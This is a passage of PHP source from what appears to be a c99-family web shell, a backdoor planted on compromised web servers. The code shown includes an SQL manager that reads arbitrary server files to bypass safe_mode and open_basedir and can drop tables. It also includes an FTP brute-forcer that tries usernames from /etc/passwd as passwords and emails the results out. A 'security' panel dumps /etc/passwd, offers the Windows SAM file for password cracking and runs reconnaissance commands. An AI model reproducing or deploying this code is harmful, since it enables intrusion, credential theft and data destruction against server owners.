2503 if ($sql_tbl_act == "structure") {
2504 echo "<br><br><b>Coming sooon!</b>";
2505 }
2506 if ($sql_tbl_act == "insert") {
2507 if (!is_array($sql_tbl_insert)) {
2508 $sql_tbl_insert = array();
2509 }
2510 if (!empty($sql_tbl_insert_radio)) {
2511 } //Not Ready
2512 else {
2513 echo "<br><br><b>Inserting row into table:</b><br>";
2514 if (!empty($sql_tbl_insert_q)) {
2515 $sql_query = "SELECT * FROM `" . $sql_tbl . "`";
2516 $sql_query .= " WHERE" . $sql_tbl_insert_q;
2517 $sql_query .= " LIMIT 1;";
2518 $result = mysql_query($sql_query, $sql_sock) or print("<br><br>" . mysql_smarterror());
2519 $values = mysql_fetch_assoc($result);
2520 mysql_free_result($result);
2521 } else {
2522 $values = array();
2523 }
2524 echo "<form method=\"POST\"><table width=\"1%\" border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
2525 foreach ($tbl_struct_fields as $field) {
2526 $name = $field["Field"];
2527 if (empty($sql_tbl_insert_q)) {
2528 $v = "";
2529 }
2530 echo "<tr><td><b>" . htmlspecialchars($name) . "</b></td><td>" . $field["Type"] . "</td><td><select name=\"sql_tbl_insert_functs[" . htmlspecialchars($name) . "]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[" . htmlspecialchars($name) . "]\" value=\"" . htmlspecialchars($values[$name]) . "\" size=50></td></tr>";
2531 $i++;
2532 }
2533 echo "</table><br>";
2534 echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\"";
2535 if (empty($sql_tbl_insert_q)) {
2536 echo " checked";
2537 }
2538 echo "><b>Insert as new row</b>";
2539 if (!empty($sql_tbl_insert_q)) {
2540 echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>";
2541 echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"" . htmlspecialchars($sql_tbl_insert_q) . "\">";
2542 }
2543 echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
2544 }
2545 }
2546 if ($sql_tbl_act == "browse") {
2547 $sql_tbl_ls = abs($sql_tbl_ls);
2548 $sql_tbl_le = abs($sql_tbl_le);
2549 echo "<hr size=\"1\" noshade>";
2550 echo "<img src=\"" . $surl . "act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\"> ";
2551 $b = 0;
2552 for ($i = 0; $i < $numpages; $i++) {
2553 if (($i * $perpage != $sql_tbl_ls) or ($i * $perpage + $perpage != $sql_tbl_le)) {
2554 echo "<a href=\"" . $sql_surl . "sql_tbl=" . urlencode($sql_tbl) . "&sql_order=" . htmlspecialchars($sql_order) . "&sql_tbl_ls=" . ($i * $perpage) . "&sql_tbl_le=" . ($i * $perpage + $perpage) . "\"><u>";
2555 }
2556 echo $i;
2557 if (($i * $perpage != $sql_tbl_ls) or ($i * $perpage + $perpage != $sql_tbl_le)) {
2558 echo "</u></a>";
2559 }
2560 if (($i / 30 == round($i / 30)) and ($i > 0)) {
2561 echo "<br>";
2562 } else {
2563 echo " ";
2564 }
2565 }
2566 if ($i == 0) {
2567 echo "empty";
2568 }
2569 echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"" . htmlspecialchars($sql_db) . "\"><input type=\"hidden\" name=\"sql_login\" value=\"" . htmlspecialchars($sql_login) . "\"><input type=\"hidden\" name=\"sql_passwd\" value=\"" . htmlspecialchars($sql_passwd) . "\"><input type=\"hidden\" name=\"sql_server\" value=\"" . htmlspecialchars($sql_server) . "\"><input type=\"hidden\" name=\"sql_port\" value=\"" . htmlspecialchars($sql_port) . "\"><input type=\"hidden\" name=\"sql_tbl\" value=\"" . htmlspecialchars($sql_tbl) . "\"><input type=\"hidden\" name=\"sql_order\" value=\"" . htmlspecialchars($sql_order) . "\"><b>From:</b> <input type=\"text\" name=\"sql_tbl_ls\" value=\"" . $sql_tbl_ls . "\"> <b>To:</b> <input type=\"text\" name=\"sql_tbl_le\" value=\"" . $sql_tbl_le . "\"> <input type=\"submit\" value=\"View\"></form>";
2570 echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>";
2571 echo "<tr>";
2572 echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
2573 for ($i = 0; $i < mysql_num_fields($result); $i++) {
2574 $v = mysql_field_name($result, $i);
2575 if ($e == "a") {
2576 $s = "d";
2577 $m = "asc";
2578 } else {
2579 $s = "a";
2580 $m = "desc";
2581 }
2582 echo "<td>";
2583 if (empty($e[0])) {
2584 $e = "a";
2585 }
2586 if ($e != $v) {
2587 echo "<a href=\"" . $sql_surl . "sql_tbl=" . $sql_tbl . "&sql_tbl_le=" . $sql_tbl_le . "&sql_tbl_ls=" . $sql_tbl_ls . "&sql_order=" . $e[0] . "%20" . $v . "\"><b>" . $v . "</b></a>";
2588 } else {
2589 echo "<b>" . $v . "</b><a href=\"" . $sql_surl . "sql_tbl=" . $sql_tbl . "&sql_tbl_le=" . $sql_tbl_le . "&sql_tbl_ls=" . $sql_tbl_ls . "&sql_order=" . $s . "%20" . $v . "\"><img src=\"" . $surl . "act=img&img=sort_" . $m . "\" height=\"9\" width=\"14\" alt=\"" . $m . "\"></a>";
2590 }
2591 echo "</td>";
2592 }
2593 echo "<td><font color=\"green\"><b>Action</b></font></td>";
2594 echo "</tr>";
2595 while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
2596 echo "<tr>";
2597 $w = "";
2598 $i = 0;
2599 foreach ($row as $k => $v) {
2600 $name = mysql_field_name($result, $i);
2601 $w .= " `" . $name . "` = '" . addslashes($v) . "' AND";
2602 $i++;
2603 }
2604 if (count($row) > 0) {
2605 $w = substr($w, 0, strlen($w) - 3);
2606 }
2607 echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"" . $w . "\"></td>";
2608 $i = 0;
2609 foreach ($row as $k => $v) {
2610 $v = htmlspecialchars($v);
2611 if ($v == "") {
2612 $v = "<font color=\"green\">NULL</font>";
2613 }
2614 echo "<td>" . $v . "</td>";
2615 $i++;
2616 }
2617 echo "<td>";
2618 echo "<a href=\"" . $sql_surl . "sql_act=query&sql_tbl=" . urlencode($sql_tbl) . "&sql_tbl_ls=" . $sql_tbl_ls . "&sql_tbl_le=" . $sql_tbl_le . "&sql_query=" . urlencode("DELETE FROM `" . $sql_tbl . "` WHERE" . $w . " LIMIT 1;") . "\"><img src=\"" . $surl . "act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a> ";
2619 echo "<a href=\"" . $sql_surl . "sql_tbl_act=insert&sql_tbl=" . urlencode($sql_tbl) . "&sql_tbl_ls=" . $sql_tbl_ls . "&sql_tbl_le=" . $sql_tbl_le . "&sql_tbl_insert_q=" . urlencode($w) . "\"><img src=\"" . $surl . "act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a> ";
2620 echo "</td>";
2621 echo "</tr>";
2622 }
2623 mysql_free_result($result);
2624 echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"" . $surl . "act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
2625 echo "<option value=\"\">With selected:</option>";
2626 echo "<option value=\"deleterow\">Delete</option>";
2627 echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
2628 }
2629 } else {
2630 $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
2631 if (!$result) {
2632 echo mysql_smarterror();
2633 } else {
2634 echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
2635 $i = 0;
2636 $tsize = $trows = 0;
2637 while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
2638 $tsize += $row["Data_length"];
2639 $trows += $row["Rows"];
2640 $size = view_size($row["Data_length"]);
2641 echo "<tr>";
2642 echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"" . $row["Name"] . "\"></td>";
2643 echo "<td> <a href=\"" . $sql_surl . "sql_tbl=" . urlencode($row["Name"]) . "\"><b>" . $row["Name"] . "</b></a> </td>";
2644 echo "<td>" . $row["Rows"] . "</td>";
2645 echo "<td>" . $row["Type"] . "</td>";
2646 echo "<td>" . $row["Create_time"] . "</td>";
2647 echo "<td>" . $row["Update_time"] . "</td>";
2648 echo "<td>" . $size . "</td>";
2649 echo "<td> <a href=\"" . $sql_surl . "sql_act=query&sql_query=" . urlencode("DELETE FROM `" . $row["Name"] . "`") . "\"><img src=\"" . $surl . "act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"" . $sql_surl . "sql_act=query&sql_query=" . urlencode("DROP TABLE `" . $row["Name"] . "`") . "\"><img src=\"" . $surl . "act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"" . $sql_surl . "sql_tbl_act=insert&sql_tbl=" . $row["Name"] . "\"><img src=\"" . $surl . "act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a> </td>";
2650 echo "</tr>";
2651 $i++;
2652 }
2653 echo "<tr bgcolor=\"000000\">";
2654 echo "<td><center><b>+</b></center></td>";
2655 echo "<td><center><b>" . $i . " table(s)</b></center></td>";
2656 echo "<td><b>" . $trows . "</b></td>";
2657 echo "<td>" . $row[1] . "</td>";
2658 echo "<td>" . $row[10] . "</td>";
2659 echo "<td>" . $row[11] . "</td>";
2660 echo "<td><b>" . view_size($tsize) . "</b></td>";
2661 echo "<td></td>";
2662 echo "</tr>";
2663 echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"" . $surl . "act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
2664 echo "<option value=\"\">With selected:</option>";
2665 echo "<option value=\"tbldrop\">Drop</option>";
2666 echo "<option value=\"tblempty\">Empty</option>";
2667 echo "<option value=\"tbldump\">Dump</option>";
2668 echo "<option value=\"tblcheck\">Check table</option>";
2669 echo "<option value=\"tbloptimize\">Optimize table</option>";
2670 echo "<option value=\"tblrepair\">Repair table</option>";
2671 echo "<option value=\"tblanalyze\">Analyze table</option>";
2672 echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
2673 mysql_free_result($result);
2674 }
2675 }
2676 }
2677 }
2678 } else {
2679 $acts = array(
2680 "",
2681 "newdb",
2682 "serverstatus",
2683 "servervars",
2684 "processes",
2685 "getfile"
2686 );
2687 if (in_array($sql_act, $acts)) {
2688?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php
2689 echo $surl;
2690?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php
2691 echo htmlspecialchars($sql_login);
2692?>"><input type="hidden" name="sql_passwd" value="<?php
2693 echo htmlspecialchars($sql_passwd);
2694?>"><input type="hidden" name="sql_server" value="<?php
2695 echo htmlspecialchars($sql_server);
2696?>"><input type="hidden" name="sql_port" value="<?php
2697 echo htmlspecialchars($sql_port);
2698?>"><input type="text" name="sql_newdb" size="20"> <input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php
2699 echo $surl;
2700?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php
2701 echo htmlspecialchars($sql_login);
2702?>"><input type="hidden" name="sql_passwd" value="<?php
2703 echo htmlspecialchars($sql_passwd);
2704?>"><input type="hidden" name="sql_server" value="<?php
2705 echo htmlspecialchars($sql_server);
2706?>"><input type="hidden" name="sql_port" value="<?php
2707 echo htmlspecialchars($sql_port);
2708?>"><input type="text" name="sql_getfile" size="30" value="<?php
2709 echo htmlspecialchars($sql_getfile);
2710?>"> <input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
2711 }
2712 if (!empty($sql_act)) {
2713 echo "<hr size=\"1\" noshade>";
2714 if ($sql_act == "newdb") {
2715 echo "<b>";
2716 if ((mysql_create_db($sql_newdb)) and (!empty($sql_newdb))) {
2717 echo "DB \"" . htmlspecialchars($sql_newdb) . "\" has been created with success!</b><br>";
2718 } else {
2719 echo "Can't create DB \"" . htmlspecialchars($sql_newdb) . "\".<br>Reason:</b> " . mysql_smarterror();
2720 }
2721 }
2722 if ($sql_act == "serverstatus") {
2723 $result = mysql_query("SHOW STATUS", $sql_sock);
2724 echo "<center><b>Server-status variables:</b><br><br>";
2725 echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
2726 while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
2727 echo "<tr><td>" . $row[0] . "</td><td>" . $row[1] . "</td></tr>";
2728 }
2729 echo "</table></center>";
2730 mysql_free_result($result);
2731 }
2732 if ($sql_act == "servervars") {
2733 $result = mysql_query("SHOW VARIABLES", $sql_sock);
2734 echo "<center><b>Server variables:</b><br><br>";
2735 echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
2736 while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
2737 echo "<tr><td>" . $row[0] . "</td><td>" . $row[1] . "</td></tr>";
2738 }
2739 echo "</table>";
2740 mysql_free_result($result);
2741 }
2742 if ($sql_act == "processes") {
2743 if (!empty($kill)) {
2744 $query = "KILL " . $kill . ";";
2745 $result = mysql_query($query, $sql_sock);
2746 echo "<b>Process #" . $kill . " was killed.</b>";
2747 }
2748 $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
2749 echo "<center><b>Processes:</b><br><br>";
2750 echo "<TABLE cellSpacing=0 cellPadding=2 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
2751 while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
2752 echo "<tr><td>" . $row[0] . "</td><td>" . $row[1] . "</td><td>" . $row[2] . "</td><td>" . $row[3] . "</td><td>" . $row[4] . "</td><td>" . $row[5] . "</td><td>" . $row[6] . "</td><td>" . $row[7] . "</td><td><a href=\"" . $sql_surl . "sql_act=processes&kill=" . $row[0] . "\"><u>Kill</u></a></td></tr>";
2753 }
2754 echo "</table>";
2755 mysql_free_result($result);
2756 }
2757 if ($sql_act == "getfile") {
2758 $tmpdb = $sql_login . "_tmpdb";
2759 $select = mysql_select_db($tmpdb);
2760 if (!$select) {
2761 mysql_create_db($tmpdb);
2762 $select = mysql_select_db($tmpdb);
2763 $created = !!$select;
2764 }
2765 if ($select) {
2766 $created = FALSE;
2767 mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
2768 mysql_query("LOAD DATA INFILE \"" . addslashes($sql_getfile) . "\" INTO TABLE tmp_file");
2769 $result = mysql_query("SELECT * FROM tmp_file;");
2770 if (!$result) {
2771 echo "<b>Error in reading file (permision denied)!</b>";
2772 } else {
2773 for ($i = 0; $i < mysql_num_fields($result); $i++) {
2774 $name = mysql_field_name($result, $i);
2775 }
2776 $f = "";
2777 while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
2778 $f .= join("\r\n", $row);
2779 }
2780 if (empty($f)) {
2781 echo "<b>File \"" . $sql_getfile . "\" does not exists or empty!</b><br>";
2782 } else {
2783 echo "<b>File \"" . $sql_getfile . "\":</b><br>" . nl2br(htmlspecialchars($f)) . "<br>";
2784 }
2785 mysql_free_result($result);
2786 mysql_query("DROP TABLE tmp_file;");
2787 }
2788 }
2789 mysql_drop_db($tmpdb); //comment it if you want to leave database
2790 }
2791 }
2792 }
2793 }
2794 echo "</td></tr></table>";
2795 if ($sql_sock) {
2796 $affected = @mysql_affected_rows($sql_sock);
2797 if ((!is_numeric($affected)) or ($affected < 0)) {
2798 $affected = 0;
2799 }
2800 echo "<tr><td><center><b>Affected rows : " . $affected . "</center></td></tr>";
2801 }
2802 echo "</table>";
2803 }
2804 //End of SQL Manager
2805 if ($act == "ftpquickbrute") {
2806 echo "<center><table><tr><td class=barheader colspan=2>";
2807 echo ".: Ftp Quick Brute :.</td></tr>";
2808 echo "<tr><td>";
2809 if ($win) {
2810 echo "Couldn't run on Windows!";
2811 } else {
2812 function c99ftpbrutecheck($host, $port, $timeout, $login, $pass, $sh, $fqb_onlywithsh)
2813 {
2814 if ($fqb_onlywithsh) {
2815 $TRUE = (!in_array($sh, array(
2816 "/bin/FALSE",
2817 "/sbin/nologin"
2818 )));
2819 } else {
2820 $TRUE = TRUE;
2821 }
2822 if ($TRUE) {
2823 $sock = @ftp_connect($host, $port, $timeout);
2824 if (@ftp_login($sock, $login, $pass)) {
2825 echo "<a href=\"ftp://" . $login . ":" . $pass . "@" . $host . "\" target=\"_blank\"><b>Connected to " . $host . " with login \"" . $login . "\" and password \"" . $pass . "\"</b></a>.<br>";
2826 ob_flush();
2827 return TRUE;
2828 }
2829 }
2830 }
2831 if (!empty($submit)) {
2832 if (!is_numeric($fqb_lenght)) {
2833 $fqb_lenght = $nixpwdperpage;
2834 }
2835 $fp = fopen("/etc/passwd", "r");
2836 if (!$fp) {
2837 echo "Can't get /etc/passwd for password-list.";
2838 } else {
2839 if ($fqb_logging) {
2840 if ($fqb_logfile) {
2841 $fqb_logfp = fopen($fqb_logfile, "w");
2842 } else {
2843 $fqb_logfp = FALSE;
2844 }
2845 $fqb_log = "FTP Quick Brute (" . $sh_name . ") started at " . date("d.m.Y H:i:s") . "\r\n\r\n";
2846 if ($fqb_logfile) {
2847 fwrite($fqb_logfp, $fqb_log, strlen($fqb_log));
2848 }
2849 }
2850 ob_flush();
2851 $i = $success = 0;
2852 $ftpquick_st = getmicrotime();
2853 while (!feof($fp)) {
2854 $str = explode(":", fgets($fp, 2048));
2855 if (c99ftpbrutecheck("localhost", 21, 1, $str[0], $str[0], $str[6], $fqb_onlywithsh)) {
2856 echo "<b>Connected to " . getenv("SERVER_NAME") . " with login \"" . $str[0] . "\" and password \"" . $str[0] . "\"</b><br>";
2857 $fqb_log .= "Connected to " . getenv("SERVER_NAME") . " with login \"" . $str[0] . "\" and password \"" . $str[0] . "\", at " . date("d.m.Y H:i:s") . "\r\n";
2858 if ($fqb_logfp) {
2859 fseek($fqb_logfp, 0);
2860 fwrite($fqb_logfp, $fqb_log, strlen($fqb_log));
2861 }
2862 $success++;
2863 ob_flush();
2864 }
2865 if ($i > $fqb_lenght) {
2866 break;
2867 }
2868 $i++;
2869 }
2870 if ($success == 0) {
2871 echo "No success. connections!";
2872 $fqb_log .= "No success. connections!\r\n";
2873 }
2874 $ftpquick_t = round(getmicrotime() - $ftpquick_st, 4);
2875 echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): " . $ftpquick_t . "<br>Total connections: " . $i . "<br>Success.: <font color=green><b>" . $success . "</b></font><br>Unsuccess.:" . ($i - $success) . "</b><br>Connects per second: " . round($i / $ftpquick_t, 2) . "<br>";
2876 $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): " . $ftpquick_t . "\r\nTotal connections: " . $i . "\r\nSuccess.: " . $success . "\r\nUnsuccess.:" . ($i - $success) . "\r\nConnects per second: " . round($i / $ftpquick_t, 2) . "\r\n";
2877 if ($fqb_logfp) {
2878 fseek($fqb_logfp, 0);
2879 fwrite($fqb_logfp, $fqb_log, strlen($fqb_log));
2880 }
2881 if ($fqb_logemail) {
2882 @mail($fqb_logemail, "" . $sh_name . " report", $fqb_log);
2883 }
2884 fclose($fqb_logfp);
2885 }
2886 } else {
2887 $logfile = $tmpdir_logs . "yx29sh_ftpquickbrute_" . date("d.m.Y_H_i_s") . ".log";
2888 $logfile = str_replace("//", DIRECTORY_SEPARATOR, $logfile);
2889 echo "<form action=\"" . $surl . "\"><input type=hidden name=act value=\"ftpquickbrute\">" . "Read first:</td><td><input type=text name=\"fqb_lenght\" value=\"" . $nixpwdperpage . "\"></td></tr>" . "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"> Users only with shell</td></tr>" . "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked>Logging</td></tr>" . "<tr><td>Logging to file:</td><td><input type=\"text\" name=\"fqb_logfile\" value=\"" . $logfile . "\" size=\"" . (strlen($logfile) + 2 * (strlen($logfile) / 10)) . "\"></td></tr>" . "<tr><td>Logging to e-mail:</td><td><input type=\"text\" name=\"fqb_logemail\" value=\"" . $log_email . "\" size=\"" . (strlen($logemail) + 2 * (strlen($logemail) / 10)) . "\"></td></tr>" . "<tr><td colspan=2><input type=submit name=submit value=\"Brute\"></form>";
2890 }
2891 echo "</td></tr></table></center>";
2892 }
2893 }
2894 if ($act == "d") {
2895 if (!is_dir($d)) {
2896 echo "<center><b>$d is a not a Directory!</b></center>";
2897 } else {
2898 echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
2899 if (!$win) {
2900 echo "<tr><td><b>Owner/Group</b></td><td> ";
2901 $ow = posix_getpwuid(fileowner($d));
2902 $gr = posix_getgrgid(filegroup($d));
2903 $row[] = ($ow["name"] ? $ow["name"] : fileowner($d)) . "/" . ($gr["name"] ? $gr["name"] : filegroup($d));
2904 }
2905 echo "<tr><td><b>Perms</b></td><td><a href=\"" . $surl . "act=chmod&d=" . urlencode($d) . "\"><b>" . view_perms_color($d) . "</b></a><tr><td><b>Create time</b></td><td> " . date("d/m/Y H:i:s", filectime($d)) . "</td></tr><tr><td><b>Access time</b></td><td> " . date("d/m/Y H:i:s", fileatime($d)) . "</td></tr><tr><td><b>MODIFY time</b></td><td> " . date("d/m/Y H:i:s", filemtime($d)) . "</td></tr></table>";
2906 }
2907 }
2908 if ($act == "phpinfo") {
2909 @ob_clean();
2910 phpinfo();
2911 c99shexit();
2912 }
2913 if ($act == "security") {
2914 echo "<div class=barheader>.: Server Security Information :.</div>" . "<table>" . "<tr><td>Open Base Dir</td><td>" . $hopenbasedir . "</td></tr>";
2915 echo "<td>Password File</td><td>";
2916 if (!$win) {
2917 if ($nixpasswd) {
2918 if ($nixpasswd == 1) {
2919 $nixpasswd = 0;
2920 }
2921 echo "*nix /etc/passwd:<br>";
2922 if (!is_numeric($nixpwd_s)) {
2923 $nixpwd_s = 0;
2924 }
2925 if (!is_numeric($nixpwd_e)) {
2926 $nixpwd_e = $nixpwdperpage;
2927 }
2928 echo "<form action=\"" . $surl . "\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b> <input type=\"text=\" name=\"nixpwd_s\" value=\"" . $nixpwd_s . "\"> <b>To:</b> <input type=\"text\" name=\"nixpwd_e\" value=\"" . $nixpwd_e . "\"> <input type=submit value=\"View\"></form><br>";
2929 $i = $nixpwd_s;
2930 while ($i < $nixpwd_e) {
2931 $uid = posix_getpwuid($i);
2932 if ($uid) {
2933 $uid["dir"] = "<a href=\"" . $surl . "act=ls&d=" . urlencode($uid["dir"]) . "\">" . $uid["dir"] . "</a>";
2934 echo join(":", $uid) . "<br>";
2935 }
2936 $i++;
2937 }
2938 } else {
2939 echo "<a href=\"" . $surl . "act=security&nixpasswd=1&d=" . $ud . "\"><b><u>Get /etc/passwd</u></b></a>";
2940 }
2941 } else {
2942 $v = $_SERVER["WINDIR"] . "\repair\sam";
2943 if (file_get_contents($v)) {
2944 echo "<td colspan=2><div class=yxerrmsg>You can't crack Windows passwords(" . $v . ")</div></td></tr>";
2945 } else {
2946 echo "You can crack Windows passwords. <a href=\"" . $surl . "act=f&f=sam&d=" . $_SERVER["WINDIR"] . "\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ?.</td></tr>";
2947 }
2948 }
2949 echo "</td></tr>";
2950 echo "<tr><td>Config Files</td><td>";
2951 if (!$win) {
2952 $v = array(
2953 array(
2954 "User Domains",
2955 "/etc/userdomains"
2956 ),
2957 array(
2958 "Cpanel Config",
2959 "/var/cpanel/accounting.log"
2960 ),
2961 array(
2962 "Apache Config",
2963 "/usr/local/apache/conf/httpd.conf"
2964 ),
2965 array(
2966 "Apache Config",
2967 "/etc/httpd.conf"
2968 ),
2969 array(
2970 "Syslog Config",
2971 "/etc/syslog.conf"
2972 ),
2973 array(
2974 "Message of The Day",
2975 "/etc/motd"
2976 ),
2977 array(
2978 "Hosts",
2979 "/etc/hosts"
2980 )
2981 );
2982 $sep = "/";
2983 } else {
2984 $windir = $_SERVER["WINDIR"];
2985 $etcdir = $windir . "\system32\drivers\etc\\";
2986 $v = array(
2987 array(
2988 "Hosts",
2989 $etcdir . "hosts"
2990 ),
2991 array(
2992 "Local Network Map",
2993 $etcdir . "networks"
2994 ),
2995 array(
2996 "LM Hosts",
2997 $etcdir . "lmhosts.sam"
2998 )
2999 );
3000 $sep = "\\";
3001 }
3002 foreach ($v as $sec_arr) {
3003 $sec_f = substr(strrchr($sec_arr[1], $sep), 1);
3004 $sec_d = rtrim($sec_arr[1], $sec_f);
3005 $sec_full = $sec_d . $sec_f;
3006 $sec_d = rtrim($sec_d, $sep);
3007 if (file_get_contents($sec_full)) {
3008 echo " [ <a href=\"" . $surl . "act=f&f=$sec_f&d=" . urlencode($sec_d) . "&ft=txt\"><u><b>" . $sec_arr[0] . "</b></u></a> ] ";
3009 }
3010 }
3011 echo "</td></tr>";
3012 function displaysecinfo($name, $value)
3013 {
3014 if (!empty($value)) {
3015 echo "<tr><td>" . $name . "</td><td><pre>" . wordwrap($value, 100) . "</pre></td></tr>";
3016 }
3017 }
3018 if (!$win) {
3019 displaysecinfo("OS Version", myshellexec("cat /proc/version"));
3020 displaysecinfo("Kernel Version", myshellexec("sysctl -a | grep version"));
3021 displaysecinfo("Distrib Name", myshellexec("cat /etc/issue.net"));
3022 displaysecinfo("Distrib Name (2)", myshellexec("cat /etc/*-realise"));
3023 displaysecinfo("CPU Info", myshellexec("cat /proc/cpuinfo"));
3024 displaysecinfo("RAM", myshellexec("free -m"));
3025 displaysecinfo("HDD Space", myshellexec("df -h"));
3026 displaysecinfo("List of Attributes", myshellexec("lsattr -a"));
3027 displaysecinfo("Mount Options", myshellexec("cat /etc/fstab"));
3028 displaysecinfo("cURL installed?", myshellexec("which curl"));
3029 displaysecinfo("lynx installed?", myshellexec("which lynx"));
3030 displaysecinfo("links installed?", myshellexec("which links"));
3031 displaysecinfo("fetch installed?", myshellexec("which fetch"));
3032 displaysecinfo("GET installed?", myshellexec("which GET"));
3033 displaysecinfo("perl installed?", myshellexec("which perl"));
3034 displaysecinfo("Where is Apache?", myshellexec("whereis apache"));
3035 displaysecinfo("Where is perl?", myshellexec("whereis perl"));
3036 displaysecinfo("Locate proftpd.conf", myshellexec("locate proftpd.conf"));
3037 displaysecinfo("Locate httpd.conf", myshellexec("locate httpd.conf"));
3038 displaysecinfo("Locate my.conf", myshellexec("locate my.conf"));
3039 displaysecinfo("Locate psybnc.conf", myshellexec("locate psybnc.conf"));
3040 } else {
3041 displaysecinfo("OS Version", myshellexec("ver"));
3042 displaysecinfo("Account Settings", myshellexec("net accounts"));
3043 }
3044 echo "</table>\n";
3045 }
3046 if ($act == "mkfile") {
3047 if ($mkfile != $d) {
3048 if (file_exists($mkfile)) {
3049 echo "<b>Make File \"" . htmlspecialchars($mkfile) . "\"</b>: object already exists!";
3050 } elseif (!fopen($mkfile, "w")) {
3051 echo "<b>Make File \"" . htmlspecialchars($mkfile) . "\"</b>: access denied!";
3052 } else {
3053 $act = "f";
3054 $d = dirname($mkfile);
3055 if (substr($d, -1) != DIRECTORY_SEPARATOR) {
3056 $d .= DIRECTORY_SEPARATOR;
3057 }
3058 $f = basename($mkfile);
3059 }
3060 } else {
3061 $act = $dspact = "ls";
3062 }
3063 }
3064 if ($act == "encoder") {
3065 echo "<script language=\"javascript\">function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script>" . "<form name=\"encoder\" action=\"" . $surl . "\" method=POST>" . "<input type=hidden name=act value=encoder>" . "<center><table class=contents>" . "<tr><td colspan=4 class=barheader>.: Encoder :.</td>" . "<tr><td colspan=2>Input:</td><td><textarea name=\"encoder_input\" id=\"input\" cols=70 rows=5>" . @htmlspecialchars($encoder_input) . "</textarea><br>" . "<input type=submit value=\"calculate\"></td></tr>" . "<tr><td rowspan=4>Hashes:</td>";
3066 foreach (array(
3067 "md5",
3068 "crypt",
3069 "sha1",
3070 "crc32"
3071 ) as $v) {
